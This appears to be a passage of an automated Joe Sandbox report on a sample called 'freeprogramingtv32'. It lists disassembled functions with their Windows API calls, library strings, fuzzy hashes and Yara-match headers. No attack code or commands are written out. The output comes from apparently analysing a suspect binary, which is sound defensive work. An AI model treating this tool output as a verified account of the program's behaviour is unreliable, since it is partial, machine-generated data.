GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 004038FC
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0040395C

Strings

__GLOBAL_HEAP_SELECTED, xrefs: 00403936
__MSVCRT_HEAP_SELECT, xrefs: 004038F7

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 476567a857e94c6b60ab0a2bb3643b3ab9519d2bf8b3118ed803bebf3e2b5968
Instruction ID: dfbe321087950a958f1f5ebe55e663b38e75b845a74228cdfb1d658b51cb0ff2
Opcode Fuzzy Hash: 476567a857e94c6b60ab0a2bb3643b3ab9519d2bf8b3118ed803bebf3e2b5968
Instruction Fuzzy Hash: A53127B29052446DEB319A705C46BDF3F6C9B02305F2400FBD185F52C2D2B99F85CB18

Function 02BA1870 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 02BA18BF

Part of subcall function 02BA2413: std::exception::_Copy_str.LIBCMT ref: 02BA242C

Part of subcall function 02BA0C90: __CxxThrowException@8.LIBCMT ref: 02BA0CEE

std::exception::exception.LIBCMT ref: 02BA191E

Strings

boost unique_lock has no mutex, xrefs: 02BA18AE
boost unique_lock owns already the mutex, xrefs: 02BA190D
$, xrefs: 02BA1923

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Copy_strException@8Throwstd::exception::_
String ID: $$boost unique_lock has no mutex$boost unique_lock owns already the mutex
API String ID: 2140441600-46888669
Opcode ID: ce2b26a08f97090161046b8754445af1df5fb2a3d04e60d8660e06e5531b775a
Instruction ID: 45f3186e73fad4ff763c851aeb9f9dbdc24a4f7e79034fec274caacc7994d954
Opcode Fuzzy Hash: ce2b26a08f97090161046b8754445af1df5fb2a3d04e60d8660e06e5531b775a
Instruction Fuzzy Hash: 5F2103B15083809FD321DF24C05479BBBE9BB88708F504D9EE4A587280D7B598088F82

Function 02B92341 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000001), ref: 02B92350
InterlockedExchange.KERNEL32(?,00000001), ref: 02B92360
PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 02B92370
GetLastError.KERNEL32 ref: 02B9237A

Part of subcall function 02B91712: __EH_prolog.LIBCMT ref: 02B91717

Strings

pqcs, xrefs: 02B92388

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ExchangeInterlocked$CompletionErrorH_prologLastPostQueuedStatus
String ID: pqcs
API String ID: 1619523792-2559862021
Opcode ID: 082c2bfec7f96bc47842c0989add3f29363d17fd608d681eb42727f0cea1ee57
Instruction ID: 6500b1c98919e0c4ada61d897495b750a6024f5d57e0be05b77894d2f724a5d8
Opcode Fuzzy Hash: 082c2bfec7f96bc47842c0989add3f29363d17fd608d681eb42727f0cea1ee57
Instruction Fuzzy Hash: D9F05471D40305AFDB11AF78DC09BABBBACEF40741F4085AAE806D3140EBB0D9149B91

Function 02B94030 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B94035
GetProcessHeap.KERNEL32(00000000,?), ref: 02B94042
RtlAllocateHeap.NTDLL(00000000), ref: 02B94049
std::exception::exception.LIBCMT ref: 02B94063

Part of subcall function 02B9A5FD: __EH_prolog.LIBCMT ref: 02B9A602
Part of subcall function 02B9A5FD: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 02B9A611
Part of subcall function 02B9A5FD: __CxxThrowException@8.LIBCMT ref: 02B9A630

Strings

bad allocation, xrefs: 02B94058

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prologHeap$AllocateConcurrency::cancellation_token::_Exception@8FromImplProcessThrowstd::exception::exception
String ID: bad allocation
API String ID: 3112922283-2104205924
Opcode ID: b8c372dc37664ab8508528cdc8d8ace1b97b1b0ce97f60870c79d6f9533e036a
Instruction ID: 5a6631a92bcedaa88099f663eb97d0f069a5b0800509006895797079dc10a585
Opcode Fuzzy Hash: b8c372dc37664ab8508528cdc8d8ace1b97b1b0ce97f60870c79d6f9533e036a
Instruction Fuzzy Hash: 7BF05EB2E442099BCB11EFE0C914BFFB779EF04340F8045D5E915A2240DBB492148B51

Function 004036D0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00403729
GetFileType.KERNEL32(00000800), ref: 004037CF
GetStdHandle.KERNEL32(-000000F6), ref: 00403828
GetFileType.KERNEL32(00000000), ref: 00403836
SetHandleCount.KERNEL32 ref: 0040386D

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 1ce75c326bde2c2d02afe177aeb4995e441bbd179d01f1070c3041f2ee44749b
Instruction ID: 340931fb5571d0dd89e9413526c141aa1936fc067e7847d678db743c6b9c99aa
Opcode Fuzzy Hash: 1ce75c326bde2c2d02afe177aeb4995e441bbd179d01f1070c3041f2ee44749b
Instruction Fuzzy Hash: A65136B25003508BD7209F28CD48B563FE8EB01336F19C67AE492EB2E1C738C955C75A

Function 02BA1BC0 Relevance: 7.6, APIs: 5, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02BA1990: CloseHandle.KERNEL32(00000000,BE553FAB), ref: 02BA19E1
Part of subcall function 02BA1990: WaitForSingleObject.KERNEL32(?,000000FF,BE553FAB,?,?,?,?,BE553FAB,02BA1963,BE553FAB), ref: 02BA19F8

ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 02BA1C5E
ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 02BA1C7E
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 02BA1CB7
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?), ref: 02BA1D0B
SetEvent.KERNEL32(?), ref: 02BA1D12

Part of subcall function 02B9418C: CloseHandle.KERNEL32(00000000,?,02BA1C45), ref: 02B941B0

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CloseHandle$ReleaseSemaphore$EventObjectSingleWait
String ID:
API String ID: 4166353394-0
Opcode ID: 7d5e4e82c28585e2c5452cb7ed557a5f203fc57d7dab26159177f5392dca146f
Instruction ID: 4f3423ad4f71f925b17ad2b2612282d29acc2ac8e9c4f362bdca44511fda47f3
Opcode Fuzzy Hash: 7d5e4e82c28585e2c5452cb7ed557a5f203fc57d7dab26159177f5392dca146f
Instruction Fuzzy Hash: 3E410F316083119BDB66DF2CCC90B27B7A8EF45324F2406A9EC59EB291D735D8018BA1

Function 02B9207C Relevance: 7.6, APIs: 5, Instructions: 98timeCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000001), ref: 02B920AC
SetWaitableTimer.KERNEL32(00000000,?,00000001,00000000,00000000,00000000), ref: 02B920CD
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B920D8
InterlockedDecrement.KERNEL32(?), ref: 02B9213E
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B921A6

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Interlocked$Exchange$DecrementTimerWaitable
String ID:
API String ID: 1611172436-0
Opcode ID: c4d87c733b39626e26a2c5ec14fbcf6450ea1880f99869fcdb38c7c7c554ab65
Instruction ID: a0c880b0b6b3de65a29b6f19b3113d7ea25a55378fabad9ed9b4ed1baa40a01a
Opcode Fuzzy Hash: c4d87c733b39626e26a2c5ec14fbcf6450ea1880f99869fcdb38c7c7c554ab65
Instruction Fuzzy Hash: 9A319C72508701AFC711DF29C884A6BBBF9EFC8A54F100A6EF85683250DB30E446DF51

Function 02B9E02B Relevance: 7.6, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B9E030

Part of subcall function 02B91A01: TlsGetValue.KERNEL32 ref: 02B91A0A

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B9E0AF
RtlEnterCriticalSection.NTDLL(?), ref: 02B9E0CB
InterlockedIncrement.KERNEL32(02BC5180), ref: 02B9E0F0
RtlLeaveCriticalSection.NTDLL(?), ref: 02B9E105

Part of subcall function 02B927F3: SetWaitableTimer.KERNEL32(00000000,?,000493E0,00000000,00000000,00000000,00000000,00000000,0000000A,00000000), ref: 02B9284E

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalInterlockedSection$EnterExchangeH_prologIncrementLeaveTimerValueWaitable
String ID:
API String ID: 1578506061-0
Opcode ID: fd0abc59b426a3ba5f98eef6dba8731a4e02119cfd72216fb0fc7e2e6c08633d
Instruction ID: f7d311940b604a928a4cc5070d50facfd5e0a91534ffb6ef310e68935b39b53b
Opcode Fuzzy Hash: fd0abc59b426a3ba5f98eef6dba8731a4e02119cfd72216fb0fc7e2e6c08633d
Instruction Fuzzy Hash: 1E3149B2D016059FCB11DFA8C544AAEBBF9FF48310F1449AED849D7640E775AA04CFA1

Function 02BB02E4 Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02BB02F0

Part of subcall function 02BA2EEC: __FF_MSGBANNER.LIBCMT ref: 02BA2F03
Part of subcall function 02BA2EEC: __NMSG_WRITE.LIBCMT ref: 02BA2F0A
Part of subcall function 02BA2EEC: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001), ref: 02BA2F2F

_free.LIBCMT ref: 02BB0303

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d69add9ac6cce770a15e36e0d9a30e6d439fc69106dfc652df32365254eaffe8
Instruction ID: c9312f89eb4bded25a6c5911b128f29a52774383181099aa8c3dcd60b95ee69e
Opcode Fuzzy Hash: d69add9ac6cce770a15e36e0d9a30e6d439fc69106dfc652df32365254eaffe8
Instruction Fuzzy Hash: E811A732D0C615ABDB223F74A81CBBB3799DF083A0B108DE5F9599B550DFB48590CB90

Function 02B921D5 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B921DA
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B921ED
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000001), ref: 02B92224
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,00000001), ref: 02B92237
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02B92261

Part of subcall function 02B92341: InterlockedExchange.KERNEL32(?,00000001), ref: 02B92350
Part of subcall function 02B92341: InterlockedExchange.KERNEL32(?,00000001), ref: 02B92360
Part of subcall function 02B92341: PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 02B92370
Part of subcall function 02B92341: GetLastError.KERNEL32 ref: 02B9237A

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedValue$CompletionErrorH_prologLastPostQueuedStatus
String ID:
API String ID: 1856819132-0
Opcode ID: 1d377f3c1445731e4080057e29e4d393b8f98c4d3c10df403b64834f8a1443f7
Instruction ID: 25e18f3aa8ef263d507aff7740a032b1036a30198e6728429cd5b8d760d45aab
Opcode Fuzzy Hash: 1d377f3c1445731e4080057e29e4d393b8f98c4d3c10df403b64834f8a1443f7
Instruction Fuzzy Hash: 8911E132D08114EBCF02AFA9D8046AEFFBAFF49350F1045AAE811A3260DB718651DF90

Function 02B92298 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B9229D
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B922B0
TlsGetValue.KERNEL32 ref: 02B922E7
TlsSetValue.KERNEL32(?), ref: 02B92300
TlsSetValue.KERNEL32(?,?,?), ref: 02B9231C

Part of subcall function 02B92341: InterlockedExchange.KERNEL32(?,00000001), ref: 02B92350
Part of subcall function 02B92341: InterlockedExchange.KERNEL32(?,00000001), ref: 02B92360
Part of subcall function 02B92341: PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 02B92370
Part of subcall function 02B92341: GetLastError.KERNEL32 ref: 02B9237A

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedValue$CompletionErrorH_prologLastPostQueuedStatus
String ID:
API String ID: 1856819132-0
Opcode ID: c940163277c1d8e3a3e704b73feedab05ec33b8d881278c4d7135ff5fb4ac212
Instruction ID: 00a692957bee6f49cb8b3afcd87dfd4563ef6a0bbe5ec2b6873ddad3cb955207
Opcode Fuzzy Hash: c940163277c1d8e3a3e704b73feedab05ec33b8d881278c4d7135ff5fb4ac212
Instruction Fuzzy Hash: 80116072D04118EFCF02AFA5D844AAEFFBAFF48350F1045AAE805A3210DB718A51DF90

Function 02B9BC45 Relevance: 7.5, APIs: 5, Instructions: 45synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 02B9B098: __EH_prolog.LIBCMT ref: 02B9B09D

__CxxThrowException@8.LIBCMT ref: 02B9BC62

Part of subcall function 02BA449A: RaiseException.KERNEL32(?,?,02B9FA92,?,?,?,?,?,?,?,02B9FA92,?,02BC0F78,?), ref: 02BA44EF

WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,02BC1D94,?,00000001), ref: 02B9BC78
InterlockedExchange.KERNEL32(?,00000001), ref: 02B9BC8B
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000001,00000000,?,?,?,02BC1D94,?,00000001), ref: 02B9BC9B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B9BCA9

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ExchangeInterlocked$CompletionExceptionException@8H_prologObjectPostQueuedRaiseSingleStatusThrowWait
String ID:
API String ID: 2725315915-0
Opcode ID: d12fc429848d5a9bb4c22fb9782520ecf778a863e33e2f5b0ae011818c554f2e
Instruction ID: 559e1c9411251b157417f135d3d479ef97329eea7d6e644bfd356e6128641c77
Opcode Fuzzy Hash: d12fc429848d5a9bb4c22fb9782520ecf778a863e33e2f5b0ae011818c554f2e
Instruction Fuzzy Hash: A3016272A40304AFDB10DEA4EC89E8A77ADEB04759F004565F625D7190DFA0E805DB10

Function 02B92420 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02B92432
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 02B92445
RtlEnterCriticalSection.NTDLL(?), ref: 02B92454
InterlockedExchange.KERNEL32(?,00000001), ref: 02B92469
RtlLeaveCriticalSection.NTDLL(?), ref: 02B92470

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalExchangeInterlockedSection$CompareCompletionEnterLeavePostQueuedStatus
String ID:
API String ID: 747265849-0
Opcode ID: a74bdcaf04efcd2f8280b7ba939127c14411c767900e86f0d203aeacc7a5613e
Instruction ID: 5ef361d6e3dacf30858e61cba8c7ad83c188aa1105c0cb0072d133d401d9074a
Opcode Fuzzy Hash: a74bdcaf04efcd2f8280b7ba939127c14411c767900e86f0d203aeacc7a5613e
Instruction Fuzzy Hash: A0F01D73A40204BBDA119AA4ED89FDAB76CFB85751F804462F701D7580DBA1A520DBA1

Function 02B91EC7 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(?), ref: 02B91ED2
PostQueuedCompletionStatus.KERNEL32(?,?,?,00000000,00000000,?), ref: 02B91EEA
RtlEnterCriticalSection.NTDLL(?), ref: 02B91EF9
InterlockedExchange.KERNEL32(?,00000001), ref: 02B91F0E
RtlLeaveCriticalSection.NTDLL(?), ref: 02B91F15

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalInterlockedSection$CompletionEnterExchangeIncrementLeavePostQueuedStatus
String ID:
API String ID: 830998967-0
Opcode ID: 4bc9a15716d05ed187ff61ea2584c4e17d2e09428d23ae78fe473678911cbe34
Instruction ID: 97bedb1ac5d061caeb061174dca9ea9e18ff352141229e55a246ecc02992edbb
Opcode Fuzzy Hash: 4bc9a15716d05ed187ff61ea2584c4e17d2e09428d23ae78fe473678911cbe34
Instruction Fuzzy Hash: 63F09A73640205BBDB01AFA4EC88FDABB2CFF84381F400422F20183440CBB0A524DBE0

Function 02BA0800 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179windowCOMMON

Download Yara Rule

APIs

Part of subcall function 02B99A0C: __EH_prolog.LIBCMT ref: 02B99A11
Part of subcall function 02B99A0C: _Allocate.LIBCPMT ref: 02B99A68
Part of subcall function 02B99A0C: _memmove.LIBCMT ref: 02B99ABF

FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,00000010,00000000), ref: 02BA08E2
GetLastError.KERNEL32(?,00000400,?,00000010,00000000), ref: 02BA08EA

Strings

invalid string position, xrefs: 02BA0A36
Unknown error, xrefs: 02BA0939

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: AllocateErrorFormatH_prologLastMessage_memmove
String ID: Unknown error$invalid string position
API String ID: 1017912131-1837348584
Opcode ID: 3aaef495ae419d2c50824b1105964af83f7b56412dfa89993402766793b9baac
Instruction ID: c4224ba17d6db5230b27330963ca3b5e60feed8290df27592b4ef7f1c1a2d2c2
Opcode Fuzzy Hash: 3aaef495ae419d2c50824b1105964af83f7b56412dfa89993402766793b9baac
Instruction Fuzzy Hash: 22519B7020C3418FEB14DF28C8A0B2EBBE4FB98744F5009AEF59297691D775E548CB96

Function 02B98682 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 02B986EA
_memmove.LIBCMT ref: 02B98798

Strings

invalid string position, xrefs: 02B98713
string too long, xrefs: 02B9871D, 02B987BF

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: fa9976ff6a81fa0459c52269bd160b12f1a9bb79c1417e3090164340aedb62fa
Instruction ID: 12c2bf92f8e8128e3203eaf949f852090b52083e60db30ac4210064bd49b94ce
Opcode Fuzzy Hash: fa9976ff6a81fa0459c52269bd160b12f1a9bb79c1417e3090164340aedb62fa
Instruction Fuzzy Hash: BC41D231300301AFDF24DE69DC84A66B7AAEF42724B0009BDE856CB391C775E944CBA0

Function 02B930AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02B930C3
WSAStringToAddressA.WS2_32(?,?,00000000,?,?), ref: 02B93102
_memcmp.LIBCMT ref: 02B93141

Strings

255.255.255.255, xrefs: 02B93139

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastString_memcmp
String ID: 255.255.255.255
API String ID: 1618111833-2422070025
Opcode ID: e8714f3356d9b449f3afa3a4dcf31ab07776e0bdc5ce093cbbc88a813ca43a23
Instruction ID: 5351161f2518bb8b19da6f612d6c2923eb49b1ea194e6b451865e7f3a0e3cf53
Opcode Fuzzy Hash: e8714f3356d9b449f3afa3a4dcf31ab07776e0bdc5ce093cbbc88a813ca43a23
Instruction Fuzzy Hash: 8431A171A002159FDF20AF64C880B6EB7E6FF45324F1045F9E96A972A0DB71A9858F90

Function 02B91F56 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B91F5B
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,000000FF,?,00000000), ref: 02B91FC5
GetLastError.KERNEL32(?,00000000), ref: 02B91FD2

Part of subcall function 02B91712: __EH_prolog.LIBCMT ref: 02B91717

Strings

iocp, xrefs: 02B91FE0

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog$CompletionCreateErrorLastPort
String ID: iocp
API String ID: 998023749-976528080
Opcode ID: 2f711dfc8b1d1c32303497af4685cb586f0dcb3767d9ca03de4d914acff47afb
Instruction ID: a43ab50b6e1dfe54aa828dc81d1c263671f5d5b97a024965a079c5b060f916aa
Opcode Fuzzy Hash: 2f711dfc8b1d1c32303497af4685cb586f0dcb3767d9ca03de4d914acff47afb
Instruction Fuzzy Hash: 4121D3B1901B459FC721DF6AC50459BFBF8FFA4720B108A5FD4A683A90D7B0A604CF91

Function 02BA3A8F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02BA3AA7

Part of subcall function 02BA2EEC: __FF_MSGBANNER.LIBCMT ref: 02BA2F03
Part of subcall function 02BA2EEC: __NMSG_WRITE.LIBCMT ref: 02BA2F0A
Part of subcall function 02BA2EEC: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001), ref: 02BA2F2F

std::exception::exception.LIBCMT ref: 02BA3AC5
__CxxThrowException@8.LIBCMT ref: 02BA3ADA

Part of subcall function 02BA449A: RaiseException.KERNEL32(?,?,02B9FA92,?,?,?,?,?,?,?,02B9FA92,?,02BC0F78,?), ref: 02BA44EF

Strings

bad allocation, xrefs: 02BA3ABA

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 5efe847513709b55d4d141ad36b009528dd292483a31ea577434d52c3fa4970d
Instruction ID: 1b0f6752aef8c25ad0daf5482d9952d92adbf116b2c17e867e39068164d89d38
Opcode Fuzzy Hash: 5efe847513709b55d4d141ad36b009528dd292483a31ea577434d52c3fa4970d
Instruction Fuzzy Hash: 8AE0657590821EAADB00FF64CC259EFBBBDAF00344F5005D5AC25A5590EFB19644DA90

Function 02B937B1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B937B6
__localtime64.LIBCMT ref: 02B937C1

Part of subcall function 02BA2540: __gmtime64_s.LIBCMT ref: 02BA2553

std::exception::exception.LIBCMT ref: 02B937D9

Part of subcall function 02BA2413: std::exception::_Copy_str.LIBCMT ref: 02BA242C

Part of subcall function 02B9A45B: __EH_prolog.LIBCMT ref: 02B9A460
Part of subcall function 02B9A45B: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 02B9A46F
Part of subcall function 02B9A45B: __CxxThrowException@8.LIBCMT ref: 02B9A48E

Strings

could not convert calendar time to UTC time, xrefs: 02B937CE

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog$Concurrency::cancellation_token::_Copy_strException@8FromImplThrow__gmtime64_s__localtime64std::exception::_std::exception::exception
String ID: could not convert calendar time to UTC time
API String ID: 1963798777-2088861013
Opcode ID: aab1953f859d7873e2397fe9360e6df4153443a6eacf4aedd0ecf254cc229bbf
Instruction ID: b7c869e7137038b4a6920fee5822d977ab8cf5821c6dd7056ee5564266735eea
Opcode Fuzzy Hash: aab1953f859d7873e2397fe9360e6df4153443a6eacf4aedd0ecf254cc229bbf
Instruction Fuzzy Hash: DEE06DB2D0460A9ACF12EF90D8157FEB7B9FF04300F4045EAD815A2640EBB956068F95

Function 00403E3A Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 265memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00008000,00004000,74DEDFF0,?,00000000), ref: 00404092
VirtualFree.KERNEL32(?,00000000,00008000), ref: 004040ED
HeapFree.KERNEL32(00000000,?), ref: 004040FF

Strings

-@, xrefs: 00403E3A

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Free$Virtual$Heap
String ID: -@
API String ID: 2016334554-2999422947
Opcode ID: 9c389c61e5a6cd43db9238f188d86346d40478f5c1fa1013f45f36ce2e9b1707
Instruction ID: d55dda63c6158a3f001c35490e62a79414290c04420ce97baa52a0c06dad31a7
Opcode Fuzzy Hash: 9c389c61e5a6cd43db9238f188d86346d40478f5c1fa1013f45f36ce2e9b1707
Instruction Fuzzy Hash: D1B16C75A00205DFDB24CF04CA90AA9BBB1FB88314F24C1AED9196F396C735EE41CB84

Function 02BAC329 Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 02BAC3BA
_memmove.LIBCMT ref: 02BAC42E
___AdjustPointer.LIBCMT ref: 02BAC47F
_memmove.LIBCMT ref: 02BAC488

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

